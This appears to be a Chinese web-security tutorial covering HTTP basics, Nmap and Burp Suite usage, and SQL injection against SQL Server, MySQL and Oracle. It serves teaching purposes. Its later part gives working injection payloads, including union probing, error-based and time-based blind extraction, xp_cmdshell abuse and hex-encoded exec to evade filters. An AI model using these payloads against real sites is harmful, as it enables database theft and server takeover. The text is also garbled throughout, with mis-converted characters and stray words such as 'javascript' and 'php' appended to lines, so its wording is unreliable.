攻擊者想要對計算機進行滲透,有一個條件是必須的,就是攻擊者的計算機與服務器必須可以正常通訊,服務器與客戶端進行通訊依靠的就是端口。javascript
現在的web應該稱之爲web應用程序,功能強大,離不開四個要點:數據庫,編程語言,web容器和優秀的web應用程序設計者。php
web默認運行在服務器的80端口上,也是服務器所提供的服務之一,web攻擊的方式很是多,主要有:css
C段滲透:攻擊者經過滲透同一網段內的一臺主機對目標主機進行ARP等手段的滲透html
社會工程學:社會工程學是高端攻擊者必須掌握的一個技能,滲透服務器有時候不只僅只靠技術前端
Services:不少傳統的攻擊方式是直接針對服務進行溢出的,至今一些軟件仍然存在溢出漏洞。java
黑帽子即利用黑客技術實施攻擊,進行網絡犯罪和牟利的人羣,而白帽子則利用手中的技術進行反黑客的人羣。python
HTTP(HyperText Transfer Protocol)即超文本傳輸協議,是一種詳細規定了瀏覽器和萬維網服務器之間通訊的規則,它是萬維網交換信息的基礎,它容許將HTML(超文本標記語言)文檔從web服務器傳送到web瀏覽器。mysql
發起HTTP請求linux
當在瀏覽器地址欄中輸入一個URL,並按回車鍵後就發起了這個HTTP請求,很快就會看到這個請求的返回結果git
URL(統一資源定位符)也被稱爲網頁地址,是互聯網標準的地址。URL的標準格式以下: 協議://服務器IP [:端口]/路徑/[?查詢]
例如,http://www.xxser.com/post/httpxieyi.html就是一個標準的URL。
HTTP協議目前最新版的版本是1.1,HTTP是一種無狀態的協議,無狀態是指web瀏覽器與web服務器之間不須要創建持久的鏈接,這意味着當一個客戶端向服務器發出請求,而後web服務器返回響應,鏈接就被關閉了,在服務器端不保留鏈接的有關信息。也就是說,HTTP請求只能由客戶端發起,而服務器不能主動向客戶端發送數據。
1.HTTP請求與響應
(1)HTTP請求
HTTP請求包括三部分,分別是請求行(請求方法),請求頭(消息報頭)和請求正文。
POST /login.php HTTP/1.1 #請求行 HOST:www.xxser.com #請求頭 User-Agent:Mozilla/.0(Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0 #空白行,表明請求頭結束 Username=amdin&password=admin #請求正文 HTTP請求行的第一行即爲請求行,請求行由三部分組成,該行的第一部分說明了該請求是POST請求;該行的第二部分是一個斜槓(/login.php),用來講明請求的是該域名根目錄下的login.php;該行的最後一部分說明使用的是HTTP1.1版本(另外一個選項是1.0) 第二行至空白行爲HTTP中的請求頭(也被稱爲消息頭)。其中,HOST表明請求的主機地址,User-Agent表明瀏覽器的標識。請求頭由客戶端自行決定。 HTTP請求的最後一行爲請求正文,請求正文是可選的,它最常出如今POST請求方法中
(2)HTTP響應
與HTTP請求對應的是HTTP響應,HTTP響應也由三部份內容組成,分別是響應行,響應頭(消息報頭)和響應正文(消息主題)。
HTTP/1.1 200 OK #響應行 Date:Thu,28 Feb 2013 07:36:47 GMT #響應頭 Server:BWS/1.0 Content-Length:4199 Content-Type:text/html;charset=utf-8 Cache-Control:private Expires:Thu,28 Feb 2013 07:36:47 GMT Content-Encoding:gzip Set-Cookie: H_PS_PSSID=2022_1438_1944_1788;path=/;domain=.xxser.com Connection:Keep-Alive #空白行,表明響應頭結束 <html> <head><title>Index.html</title></head> ...... HTTP響應的第一行爲響應行,其中有HTTP版本(HTTP/1.1),狀態碼(200)以及消息‘OK’ 第二行末尾的空白行爲響應頭,由服務器向客戶端發送 消息報頭以後是響應正文,是服務器向客戶端發送的HTML數據
2.HTTP請求方法
(1)GET
GET方法用於獲取指定頁面的指定信息(以實體的方式)。若是請求資源爲動態腳本(非HTML),那麼返回文本是web容器解析後的HTML源代碼,而不是源文件。例如請求index.jsp,返回的不是index.jsp的源文件,而是通過解析後的HTML代碼。
(2)HEAD
HEAD方法除了服務器不能在響應裏返回消息主體外,其餘都與GET方法相同。此方法常常被用來測試超文本連接的有效性,可訪問性和最近的改變。攻擊者編寫掃描工具時,就經常使用此方法,由於只測試資源是否存在,而不用返回消息主題,因此速度必定是最快的。
(3)POST
POST方法也與GET方法類似,可是最大的區別在於,GET方法沒有請求內容,而POST是有請求內容。POST請求最多用於向服務器發送大量的數據。GET雖然也能發送數據,可是有大小(長度)的限制,而且GET請求會將發送的數據顯示在瀏覽器端,而POST則不會,因此安全性相對高一些。
例如:上傳文件,提交留言等,只要是向服務器傳輸大量的數據,一般都會使用POST請求。
(4)PUT
PUT方法用於請求服務器把請求中的實體存儲在請求資源下,若是請求資源已經在服務器中存在,那麼將會用此請求中的數據替換原先的數據,做爲指定資源的最新修訂版。若是請求指定的資源不存在,將會建立這個資源,且數據爲請求正文。一般狀況下,服務器都會關閉PUT方法
(5)DELETE
DELETE方法用於請求源服務器刪除請求的指定資源。服務器通常都會關閉此方法,由於客戶端能夠進行刪除文件操做。
(6)TRACE
TRACE方法被用於激發一個遠程的應用層的請求消息迴路,也就是說,回顯服務器收到的請求。TRACE方法容許客戶端去了解數據被請求鏈的另外一端接收的狀況,而且利用那些數據信息去測試或診斷。
(7)CONNECT
HTTP1.1協議規範保留了CONNECT方法,此方法是爲了用於能動態切換到隧道的代理。
(8)OPTIONS
OPTIONS方法是用於請求得到由URL標識的資源在請求/響應的通訊過程當中能夠使用的功能選項。經過這個方法,客戶端能夠在採起具體資源請求以前,決定對該資源採起何種必要措施,或者瞭解服務器的性能。
3.HTTP狀態碼
當客戶端發出HTTP請求,服務器端接受後,會向客戶端發送響應消息,其中HTTP響應中的第一行中,最重要的一點就是HTTP狀態碼,內容以下
HTTP/1.1 200 OK
HTTP協議中的狀態碼由三位數字組成,第一位數字定義了響應的類別,且只有如下5種:
1xx:信息提示,表示請求已被成功接收,繼續處理,其範圍爲100~101
2xx:成功,服務器成功處理了請求,其範圍爲200~206
3xx重定向,重定向狀態碼用於告訴瀏覽器客戶端,它們訪問的資源已被移動,並告訴客戶端新的資源地址位置,這時,瀏覽器將從新對新資源發起請求,其範圍爲300~305
4xx:客戶端錯誤狀態碼,客戶端發送的內容格式錯誤等,或者請求了一個不存在的URL,其範圍爲400~415
5xx:用來描述服務器內部錯誤的,其範圍爲500~505
常見的狀態碼描述以下:
200:客戶端請求成功,是最多見的狀態
302:重定向
404:請求資源不存在,是最多見的狀態
400:客戶端請求有語法錯誤,不能被服務器所理解
401:請求未經受權
403:服務器收到請求,可是拒絕提供服務
500:服務器內部錯誤,是最多見的狀態
503:服務器當前不能處理客戶端的請求,一段時間可能會恢復正常
4.HTTP消息
HTTP消息又稱爲HTTP頭,由四部分組成,分別是請求頭,響應頭,普通頭和實體頭。
(1)請求頭
請求頭只出如今HTTP請求中,請求報頭容許客戶端向服務器端傳遞請求的附加消息和客戶端自身的信息。常見的HTTP請求頭以下:
①Host
Host請求報頭域主要用於指定被請求資源的Internet主機和端口號,例如:HOST:www.xxser.com:801.
②User-Agent
User-Agent請求報頭域容許客戶端將它的操做系統,瀏覽器和其餘屬性告訴服務器。
③Referer
Rerfer包含一個URL,表明當前訪問URL的上一個URL,也就是說,用戶是從什麼地方來到本頁面
④Cookie
Cookie是很是重要的請求頭,它是一段文本,經常使用來表示請求者身份等。
⑤Range
Range能夠請求實體的部份內容,多線程下載必定會用到此請求頭,例如:
⑥x-forward-for
x-forward-for即XXF頭,它表明請求端的IP,能夠有多個,中間以逗號隔開
⑦Accept
Accept請求報頭域用於指定客戶端接收那些MIME類型的消息。如ACCEPT:text/html,表示客戶端但願接收HTML文本
⑧Accept-Charset
Accept-Charset請求報頭域用於指定客戶端接收的字符集。若是在請求消息沒有設置這個域,默認是任何字符集均可以接受。
(2)響應頭
響應頭是服務器根據請求向客戶端發送的HTTP頭,常見的HTTP響應頭以下:
①Server
服務器所使用的web服務器名稱,如Server:Apache/1.3.6(Unix)攻擊者經過查看此頭,能夠探測web服務器名稱。因此建議在服務器端進行修改此頭的消息。
②Set-Cookie
向客戶端設置Cookie,經過查看此頭,能夠清楚地看到服務器向客戶端發送的Cookie信息
③Last-Modified
服務器經過這個頭告訴瀏覽器,資源的最後修改時間
④Location
服務器經過這個頭告訴瀏覽器去訪問哪一個頁面,瀏覽器接收到這個請求以後,一般會馬上訪問Location頭所指向的頁面。這個頭一般配合302狀態碼使用。
⑤Refresh
服務器經過Refresh頭告訴瀏覽器定時刷新瀏覽器
(3)普通頭
在普通報頭中,有少數報頭域用於全部的請求和響應消息,但並不用於被傳輸的實體,只用於傳輸的消息。例如:Date,表示消息產生的日期和時間。Connection,容許發送指定鏈接的選項。例如,指定鏈接是連續二點,或者指定‘close’選項,通知服務器,在響應完成後,關閉鏈接。Cache-Control,用於指定緩存指令,緩存指令是單獨的,且是獨立的。
(4)實體頭
請求和響應消息均可以傳送一個實體頭。實體頭定義了關於實體正文和請求所標識的資源的元信息。元信息也就是試題內容的屬性,包括實體信息類型,長度,壓縮方法,最後一次修改時間等。常見的實體頭以下:
①Content-Type
Content-Type實體頭用於向接收方指示實體的介質類型
②Content-Encoding
Content-Encoding頭被用做媒體類型的修飾符,它的值指示了已經被應用到實體正文的附加內容的編碼,於是要得到Content-Type報頭域中所引用的媒體類型,必須採用對應的解碼機制。
③Content-Length
Content-Length實體報頭用於指明實體正文的長度,以字節方式存儲的十進制數字來表示
④Last-Modified
Last-Modified實體報頭用於指示資源的最後修改日期和時間
HTTP協議與HTTPS協議的區別
HTTPS協議的全稱爲Hypertext Transfer Protocol over Secure Socket Layer,它是以安全爲目標的HTTP通道,其實就是HTTP的「升級」版本,只是它比單純的HTTP協議更加安全。
HTTPS的安全基礎是SSL,即在HTTP下加入SSL層。也就是HTTPS經過安全傳輸機制進行傳送數據,這種機制可保護網絡傳送的全部數據的隱祕性與完整性,能夠下降非侵入性攔截攻擊的可能性。
HTTP協議與HTTPS協議的主要區別以下:
搜索目標資料時應該蒐集哪些資料呢?最主要的是服務器的配置信息和網站的信息
只要是與目標網站相關聯的信息,都應該儘可能去搜集。
搜索子域名
只要用Google搜索一下就能夠(複雜是指要從海量的信息中尋找子域名)
搜索web信息
1.探測主機信息
Nmap經常使用掃描參數及說明
-sT: TCP connect()掃描,這種方式會在目標主機的日誌中記錄大批鏈接請求和錯誤信息 -sS 半開掃描,不多有系統可以把它記入系統日誌,不過,須要root權限 -sF -sN 祕密FIN數據包掃描,Xmas Tree、Null掃描模式 -sP ping掃描,Nmap在掃描端口時,默認都會使用ping掃描,只有主機存活,Nmap纔會繼續掃描 -sU UDP掃描,但UDP掃描是不可靠的 -sA 這項高級的掃描方法一般都用來穿過防火牆的規則集 -P0 掃描以前不須要ping命令,有些防火牆禁止用ping命令,能夠使用此選項進行掃描 -v 顯示掃描進程,推薦使用 -h 幫助選項,是最清楚的幫助文檔 -p 指定端口 -O 啓用遠程操做系統檢測,存在誤報 -A 全面系統檢測、啓用腳本檢測、掃描等 -oN/-oX/-oG 將報告寫入文件,分別是正常、XML、grepable三種格式 -T4 針對TCP端口禁止動態掃描延遲超過10ms -iL 讀取主機列表。例如.」-iL C:\ip.txt「
案例: 1.掃描指定ip所開放的端口 命令:nmap -sS -p 1-65535 -v 192.168.1.106 #表示使用半開掃描,指定端口爲1到65535,而且顯示掃描過程 2.掃描 www.xxser.com C段存活本機 命令:namp -sP www.xxser.com/24 3.探測主機操做系統 命令:nmap -o www.xxser.com 4.指定端口掃描 命令:nmap -p 80,81,82 www.xxser.com 5.全面的系統探測 命令:nmap -v -A www.xxser.com #Nmap默認掃描主機1000個高危端口,若須要全面檢測端口,則須要加入」-p 1-65535「或者」-p-「 6.穿透防火牆進行掃描 命令:nmap -Pn -A www.2cto.com
2.Nmap腳本引擎
Nmap Script是Nmap最好的功能之一,利用Nmap Script能夠快速探測服務器。
案例: 1.掃描web敏感目錄 命令:nmap -p 80 --script=http-cnum.nse www.xxser.com 2.掃描sqlinjection 命令: nmap -p 80 --script=sql-injection.nse www.xxser.com 3.使用全部的腳本進行掃描 命令:nmap --script all 127.0.0.1 4.使用通配符掃描 命令:nmap --script 「http-*」 127.0.0.1
功能:
Proxy
一個攔截HTTP/S的代理服務器,做爲一個在瀏覽器和目標應用程序之間的中間人,容許攔截、查看、修改在兩個方向上的原始數據包
Spider
一個應用智能感應的網絡爬蟲,它能完整地枚舉應用程序的內容和功能
Scanner
是一個高級工具,執行後,它能自動發現web應用程序的安全漏洞
Inrtruder
是一個定製的高度可配置的工具,對web應用程序進行自動化攻擊,如:枚舉標識符、表單破解和信息蒐集
Repeater
是一個靠手動操做來補發單獨的HTTP請求,並分析應用程序響應的工具
Sequencer
是一個用來分析那些不可預知的應用程序會話令牌和重要數據項的隨機性的工具
Decoder
是一個極爲方便的解碼/編碼工具
Comparer
是一個實用的工具,一般是經過一些相關的請求和響應獲得兩項數據的一個可視化的」差別「
Target Target模塊是站點地圖,該模塊最主要的功能就是顯示信息。如:它會默認記錄瀏覽器訪問的全部頁面,而且使用spider模塊掃描後,能夠在此模塊清晰地看到爬蟲所爬行的頁面及每一個頁面的請求頭以及響應信息。 Target模塊默認記錄瀏覽器訪問的全部頁面,這樣就致使目標站點的查看不方便,不過能夠經過添加過濾器(Filter)來過濾非目標站點,解決顯示雜亂的問題。 具體辦法: 1.將目標站點添加到Scope 在 ‘Target’ -> ‘Site map’ 區域中,用鼠標右鍵單擊目標站點,而後選擇‘add to scope’,此時Burp會生成一個正則表達式,並自動添加到‘Target’->'Scope'中。 2.使用過濾器Filter 在’Target‘->'Site map'中,Filter能夠自由選擇過濾類型,以使咱們進行查看。單擊’Filter‘,選擇’Show only in-scope items‘,只顯示範圍內的列表,便可進行過濾 Spider Spider能完整地枚舉應用程序的內容和功能。 在爬行的同時,Burp Suite默認會進行被動漏洞掃描,也就是檢測每一個訪問過的URL 在進行爬行操做時,能夠在’options‘選項卡中設置爬行規則,包括設置爬行線程,爬行深度,請求頭,表單登陸等配置 Scanner Scanner模塊能夠有效地幫助滲透測試人員發現web應用程序的安全漏洞 在’Scan queue‘模塊中,能夠看到掃描的進度,等待掃描結束後,能夠在’Results‘模塊中查看掃描結果。 --針對單一的URL進行測試: 1.’Action‘ -> 'Do an acitve scan' --進行全站掃描: 1.選中須要進行掃描的網站,單擊鼠標右鍵,選擇’Active Scan this Host‘,將會看到主動掃描嚮導,能夠選擇刪除不須要掃描的頁面 (1)Remove duplicate items:刪除重複的選項 (2)Remove items with no parameters:刪除沒有任何參數的頁面 (3)Remove items with following extensions:刪除具備如下拓展名的頁面,以逗號隔開 2.單擊next按鈕,Burp Suite會給出將要掃描的列表。 Scanner配置信息主要包括四個模塊,選擇options,在此能夠定製掃描信息。 (1)Atttack Insertion Points 參數掃描選項,在此模塊中,能夠選擇URL,Cookies等參數 (2)Active Scaning Areas 主動掃描漏洞,此模塊能夠配置掃描信息,例如SQL注入,XSS (3)Acitve Scaning Engine 掃描配置,此模塊能夠設置掃描線程、超時和最大請求鏈接 (4)Passive Scaning Areas 被動掃描選項,此模塊能夠設置Header、Cookies Intruder Intruder模塊能夠對web程序進行自動化攻擊。在此模塊中,最重要的時配置Attack Type、程序變量以及字典的設置 具體配置以下: 1.配置Attack Type (1)Sniper:對變量依次進行破解 (2)Battering ram:對變量同時進行破解 (3)Pitch fork:每一個變量將會對應一個字典 (4)Cluster bomb:每一個變量將會對應一個字典,而且交集破解,嘗試每個組合 2.配置變量 在’Positions‘模塊中,能夠在任意的請求頭區域設置變量。 3.配置字典 在’Payloads‘模塊下有如下四個區域 (1)Payload Sets - Payload Set:針對指定變量進行配置 - Payload type:Payload類型,常見類型以下 Simple list:簡單列表 Runtime file:運行時讀取列表 Numbers:數字列表 Dates:日期列表 (2)Payload Options 默認爲Simple list類型,若是設置爲Payload type,此區域也會隨之變化 (3)Payload Processing 它能夠有效地對字符串進行處理(字典的每一行),能夠進行MD5加密、字符串截取、加入前綴、後綴等操做 (4)Payload Encoding 在進行請求時,能夠對針對某些字符進行URL轉碼 4.配置選項:Option模塊 在此模塊中,能夠配置請求線程,請求結果集格式等。 Intruder常見配置 (1)Request Engine:請求引擎設置,可設置線程、超時等信息 (2)Attack Results:攻擊結果顯示,可設置request、response等 (3)Grep-Match:識別response中是否存在此表達式或簡單字符串 (4)Grep-Extract:經過正則截取response中的信息
AWVS(Acunetix Web Vulnerability Scanner)是一個自動化的web應用程序安全測試工具,它能夠掃描任何可經過web瀏覽器訪問的和遵循HTTP/HTTPS規則的web站點和web應用程序。
AWVS能夠快速掃描跨站腳本攻擊(XSS)、SQL注入攻擊、代碼執行、目錄遍歷攻擊、文件入侵、腳本源代碼泄露、CRLF注入、PHP代碼注入、XPath注入、LDAP注入、Cookie操縱、URL重定向、應用程序錯誤消息等。
AWVS的主要特色以下:
AWVS小工具
1.HTTP Fuzzer 模糊測試工具,能夠對web程序進行自動化攻擊 2.HTTP Sniffer 此工具是一個代理工具,若是想要截取HTTP協議,則必須配置代理設置 3.Bling SQL Injector 該工具是一款盲注測試工具 4.Target Finder 該工具用於目標信息蒐集,在此模塊中能夠進行端口掃描 5.Authentication Tests 它是認證測試小工具,在此模塊中能夠快速進行基於表單形式的破解 6.Compare Results 比較器,對兩個結果進行比較 7.Subdomain Scanner 子域名掃描器,在此模塊中能夠快速掃描子域名 8.HTTP Editor HTTP編輯器,在此模塊中能夠方便地修改HTTP頭信息
AppScan可自動化web應用的安全漏洞評估工做,能掃描和檢測全部常見的web應用安全漏洞
AppScan的主要特色以下:
SQL注入漏洞的造成緣由:用戶輸入的數據被SQL解釋器執行
1.數字型注入
當輸入的參數爲整型時,如:ID、年齡、頁碼等,若是存在注入漏洞,則能夠認爲是數字型注入。
2.字符型注入
當輸入參數爲字符串時,則爲字符型。數字型與字符型注入最大的區別在於:數字類型不須要單引號閉合,而字符串類型通常要使用單引號來閉合。
常見的注入叫法: POST注入:注入字段在POST數據中 Cookie注入:注入字段在Cookie數據中 延時注入:使用數據庫延時特性注入 搜索注入:注入處爲搜索的地點 base64注入:注入字符串須要通過base64加密
3.常見數據庫注入
利用方式分類: 1.查詢數據 2.讀寫文件 3.執行命令
1.利用錯誤消息提取信息 (1)枚舉當前表及列 輸入語句:’having 1=1- 輸入錯誤的SQL語句,根據報出的錯誤消息,依次進行遞歸查詢,知道沒有錯誤消息返回爲止,這樣就能夠利用having子句「查詢」出當前表的全部列名。 (2)利用數據類型錯誤提取數據 若是試圖將一個字符串與非字符串比較,或者將一個字符串轉換成另一個不兼容的類型時,那麼SQL編輯器就會拋出異常 2.獲取元數據 SQL Server提供了大量視圖,便於取得元數據 經常使用的數據庫視圖 sys.databases:SQL Server中的全部數據庫 sys.sql_logins:SQL Server中的全部登陸名 information_schema.tables:當前用戶數據庫中的表 information_schema.columns:當前用戶數據庫中的列 sys.all_columns:用戶定義對象和系統對象的全部列的聯合 sys.databases_principals:數據庫中每一個權限或列異常權限 sys.databases_files:存儲在數據庫中的數據庫文件 sysobjects:數據庫中建立的每一個對象(例如約束、日誌以及存儲過程) 3.Order by子句 Order by子句爲select查詢的列排序,若是同時指定了TOP關鍵字,Order by子句在視圖、內聯函數、派生表和子查詢中無效 攻擊者一般會注入Order by語句來判斷此表的列數,在得知列數後,攻擊者一般會配合union關鍵字進行下一步的攻擊 4.union查詢 union關鍵字將兩個或更多個查詢結果組合爲單個結果集,俗稱聯合查詢 union合併兩個查詢結果集的基本規則: --全部查詢中的列數必須相同 --數據類型必須兼容 (1)聯合查詢探測字段數 select id,username from users where id=1 union select null 遞歸查詢,直到無錯誤產生,可得知user表查詢的字段數 (2)聯合查詢敏感信息 若是得知列數爲4,能夠使用如下語句繼續注入: id=5 union select "x",null,null,null from sysobject where xtype='U' 若是第1列數據類型不匹配,數據庫將會報錯,這時就能夠繼續遞歸查詢,直到語句正常執行爲止。語句執行正常,表明數據類型兼容,就能夠將x換爲SQL語句,查詢敏感信息。 5.無辜的函數 利用系統函數能夠訪問SQL Server系統表中的信息,而無需使用SQL語句查詢。 系統函數舉例: select suser_name():返回用戶的登陸標識名 select user_name():基於指定的標識號返回數據庫用戶名 select db_name():返回數據庫名稱 select is_member('db_owner'):是否爲數據庫角色 select convert(int,'5'):數據類型轉換 經常使用函數: stuff:字符串截取函數 ascii:取ASCII碼 char:根據ASCII碼取字符 getdate:返回日期 count:返回組中的總條數 cast:將一種數據類型的表達式顯示轉換爲另外一種數據類型的表達式 rand:返回隨機值 is_srvrolemember:指示SQL Server登陸名是否爲指定服務器角色的成員 6.危險的存儲過程 存儲過程是在大型數據庫系統爲了完成特定功能的一組SQL」函數「,如:執行系統命令,查看註冊表,讀取磁盤目錄等。 攻擊者最常使用的存儲過程時'xp_cmdshell',這個存儲過程容許用戶執行操做系統命令,攻擊者能夠直接利用xp_cmdshell操縱服務器。 #用戶必須持有CONTROL_SERVER權限才能夠使用此類存儲過程 常見的危險存儲過程: sp_addlogin:建立新的SQL Server登陸,該登陸容許用戶使用 SQL Server身份驗證鏈接到SQL Server實例 sp_dropuser:從當前數據庫中刪除數據庫用戶 xp_enumgroups:提供Microsoft Windows本地組列表或在指定 的Windows域中定義的全局組列表 xp_regwrite:未被公佈的存儲過程,寫入註冊表 xp_regread:讀取註冊表 xp_regdeletevalue:刪除註冊表 xp_dirtree:讀取目錄 sp_password:更改密碼 xp_servicecontrol:中止或激活某服務 另外,任何數據庫在使用一些特殊的函數或存儲過程時,都須要特定的權限,不然沒法使用 SQL Server數據庫的角色與權限以下: bulkadmin:角色成員能夠運行 BULK INSERT語句 dbcreator:角色成員能夠建立、更改、刪除和還原任何數據庫 diskadmin:角色成員能夠管理磁盤文件 processadmin:角色成員能夠種植在數據庫引擎實例中運行的進程 securityadmin:角色成員能夠管理登陸名機器屬性,能夠利用 GRANT,DENY和REVOKE服務器級別的權限,還能夠 利用GRANT,DENY和REVOKE數據庫級別的權限,此 外,也可重置SQL Server登陸名的密碼 serveradmin:角色成員能夠更改服務器範圍的配置選項和關閉服務 器 setupadmin:角色成員能夠添加和刪除連接服務器,並能夠執行某 些系統存儲過程 sysadmin:角色成員能夠在數據庫引擎中執行任何活動。默認狀況 下,Windows BUILTIN\Administrator組(本地 管理員組)的全部成員都是sysadmin固定服務器角色的成員 7.動態執行 SQL Server支持動態執行語句,用戶能夠提交一個字符串來執行SQL語句,例如: exec(‘selec’+'t username,password fro'+'m users') 也能夠經過定義十六進制的SQL語句,使用exec函數執行。大部分web應用程序防火牆都過濾了單引號,利用exec執行十六進制SQL語句並不存在單引號,這一特性能夠突破不少防火牆以及防注入程序,如: declare @query varchar(888) select @query=0x73656c56595454 exec(@query)
1.註釋 #:註釋從」#「字符到行尾 --:註釋從」--「序列到行尾,使用時後面須要跟上一個或多個空格 /**/:註釋從/*到*/序列中間的字符 2.獲取元數據 3.union查詢 4.MySQL函數利用 (1)load_file()函數讀文件操做 mysql提供了load_file()函數,能夠幫助用戶快速讀取文件,但文件的位置必須在服務器上,文件必須爲全路徑名稱(絕對路徑),並且用戶必須持有FILE權限,文件容量也必需要小於max_allowed_packet 字節(默認爲16MB,最大爲1GB) (2)into outfile寫文件操做 mysql提供了向磁盤寫文件的操做,與load_file()同樣,必須持有FILE權限,而且文件必須爲全路徑名稱。 (3)鏈接字符串 在mysql查詢中,若是須要一次查詢多個數據,能夠使用concat() 或concat_ws()函數來完成 經常使用mysql函數及說明 length--返回字符串長度 substring--截取字符串長度 ascii--返回ASCII碼 hex--把字符串轉換成十六進制 now--當前系統時間 floor(x)--返回不大於x的最大整數值 md5--返回MD5值 group_concat--返回帶有來自一個組的鏈接的非NULL值的字符串結果 @@datadir--讀取數據庫路徑 @@basedir--MySQL安裝路徑 @@version_compile_os--操做系統 user--用戶名 current_user--當前用戶名 system_user--系統用戶名 database--數據庫名 version--mysql數據庫版本 5.mysql顯錯式注入 雖然mysql不能直接轉換報錯,但能利用mysql中的一些特性提取錯誤信息 (1)經過updatexml函數,執行sql語句 select * from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1); (2)經過extracvalue函數,執行sql語句 select * from message where id=1 and extractvalue(1,concat(0x7c,(select user()))); (3)經過floor函數,執行sql語句 select * from message where id=1 union select * from(select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b 6.寬字節注入 寬字節注入是由編碼不統一所形成的,這種注入通常出如今PHP+MySQL中。在PHP配置文件中php.ini中存在magic_quotes_gpc選項,被稱爲魔術引號,當此選項被打開時,使用GET,POST,Cookie所接受的’(單引號)、"(雙引號)、\(反斜線)和NULL字符都會被自動加上一個反斜線轉義 7.mysql長字符截斷 在mysql中的一個設置裏有一個sql_mode選項,當sql_mode設置爲default時,即沒有開啓STRICT_ALL_TABLES選項時(MySQL.sql_mode默認即default),MySQL對插入超長的值只會提示warning,而不是error,這樣就可能會致使一些截斷問題 8.延時注入 延時注入屬於盲注技術的一種,是一種基於時間差別的注入技術。 思路: (1)查詢當前用戶,並取得字符串長度 (2)截取字符串第一個字符,並轉換爲ASCII碼 (3)將第一個字符的ASCII與ASCII碼錶對比,若是對比成功將延時3秒 (4)繼續步驟(2),(3),直至字符串截取完畢 對應的SQL語句以下: (1)and if(length(user())=0,sleep(3),1) 循環0,若是出現3秒延時,就能夠判斷出user字符串長度,注入時一般會採用半折算法減小判斷 (2)and if(hex(mid(user(),1,1))=1,sleep(3),1) 取出user字符串的第一個字符,而後與ASCII碼循環對比 (3)and if(hex(mid(user(),L,1))=N,sleep(3),1) 遞歸破解第二個ASCII碼、第三個ASCII碼,直至字符串最後一個字符爲止 同理,既然經過延時注入能夠讀取數據庫當前MySQL用戶,那麼讀取表、列、文件都是能夠實現的 #L的位置表明字符串的第幾個字符,N的位置表明ASCII碼
權限 | 權限級別 | 權限說明 |
---|---|---|
create | 數據庫、表或索引 | 建立數據庫、表或索引權限 |
drop | 數據庫或表 | 刪除數據庫或表權限 |
grant option | 數據庫、表或保存的程序 | 賦予權限選項 |
alter | 表 | 更改表,好比添加字段 |
delete | 表 | 刪除數據權限 |
index | 表 | 索引權限 |
insert | 表 | 插入數據權限 |
select | 表 | 查詢數據 |
update | 表 | 更新權限 |
create view | 視圖 | 建立視圖權限 |
show view | 視圖 | 查看視圖權限 |
alter routine | 存儲過程 | 更改存儲過程權限 |
create routine | 存儲過程 | 建立存儲過程權限 |
execute | 存儲過程 | 執行存儲過程權限 |
file | 服務器主機上的文件訪問 | 文件訪問權限 |
create temporary tables | 服務器管理 | 建立臨時表權限 |
lock tables | 服務器管理 | 建立臨時表權限 |
create user | 服務器管理 | 建立用戶權限 |
process | 服務器管理 | 查看進程權限 |
reload | 服務器管理 | 執行flush-hosts、flush-logs、flush-privileges等命令權限 |
replication client | 服務器管理 | 複製權限 |
replicaion slave | 服務器管理 | 複製權限 |
show databases | 服務器管理 | 查看數據庫權限 |
shutdown | 服務器管理 | 關閉數據庫權限 |
super | 服務器管理 | 執行kill線程權限 |
1.獲取元數據 (1)user_tablespaces視圖,查看錶空間 select tablespace_name from user_tablespaces (2)user_table視圖,查看當前用戶的全部表 select table_name from user_tables where rownum=1 (3)user_tab_columns視圖,查看當前用戶的全部列 select column_name from user_tab_column where table_name = 'users' (4)all_users視圖,查看Oracle數據庫的全部用戶 select username from all_users (5)user_objects視圖,查看當前用戶的全部對象(表名稱、約束、索引) select object_name from user_objects 2.union查詢 Oracle存在注入漏洞,操做步驟: (1)獲取列的總數 Order by 1,Order by 2,Oreder by n,直至與原始請求返回數據不一樣 Union select null,null,null...from dual #dual--虛擬表,不知道存在哪些表的狀況下使用此表做爲查詢表 (2)獲取敏感信息 Oracle常見的敏感信息以下: 當前用戶權限:select * from session_roles 當前數據庫版本: select banner from sys.v_$version where rownum=1 服務器出口IP:用utl_http.request能夠實現 服務器監聽IP: select utl_inaddr.get_host_address from dual 服務器操做系統:select member from v$logfile where rownum=1 服務器sid:select instance_name from $instance 當前鏈接用戶:select SYS_CONTEXT('USERENV','CURRENT_USER')from dual (3)獲取數據庫表及其內容 在得知表的列數之後,能夠經過查詢元數據的方式查詢表名稱、列、而後查詢數據,再查詢數據時一樣要注意數據類型,不然沒法查詢,這隻能一一測試 http://www.secbug.org/news.jsp?id=1 union select username,null,null from users-- 另外,在得知列數以後,能夠經過暴力破解的方式來枚舉表名稱,如: http://www.secbug.org/news.jsp?id=1 union select null,null,null from tableName-- 3.Oracle中包 Oracle包能夠分爲兩部分,一部分是包的規範,至關於Java中的接口,另外一部分是包體,至關於Java裏接口的實現類,實現了具體的操做 在Oracle注入中,攻擊者大概都知道一個包:UTL_HTTP,該包提供了對HTTP的一些操做,好比: SELECT UTL_HTTP.REQUEST('http://www.baidu.com') FROM DUAL; 執行這條sql語句,將返回baidu.com的HTML源碼
常見的包及文件說明
包名稱 | 包頭文件 | 說明 |
---|---|---|
dbms_aleri | dbmsalrt.sql | 異步處理數據庫事件 |
dbms_application_info | dbmsutil.sql | 註冊當前運行的應用的名稱(用於性能監控) |
dbms_apadm | dbmsaqad.sql | 與高級隊列選項一塊兒使用 |
dbms_ddl | dbmsutil.sql | 從新編譯存儲子程序和包,分析數據庫對象 |
dbms_debug | dbmspb.sql | PL/SQL調試器接口 |
dbms_deffr | dbmsdefr.sql | 遠程過程調用應用的接口 |
dems_describe | dbmsdesc.sql | 說明存儲子程序的參數 |
dbms_job | dbmsjob.sql | 按指定的時間或間隔執行用戶定義的做業 |
dbms_lock | dbmslock.sql | 管理數據庫塊 |
dbms_output | dbmsotpt.sql | 將文本行寫入內存供之後提取和顯示 |
dbms_pipe | dbmspipe.sql | 經過內存‘管道’在會話之間發送並接收數據 |
dbms_profiler | dbmspbp.sql | 用於配置PL/SQL腳本以鑑別瓶頸問題 |
dbms_refresh | dbmssnap.sql | 管理可以被同步刷新的快照組 |
dbms_session | dbmsutil.sql | 程序執行alter session(改變會話)語句 |
dbms_shared_pool | dbmspool.sql | 查看並管理共享池內容 |
dbms_snapshot | dbmssnap.sql | 刷新,管理快照,並刪除快照日誌 |
dbms_space | dbmsutil.sql | 獲取段空間信息 |
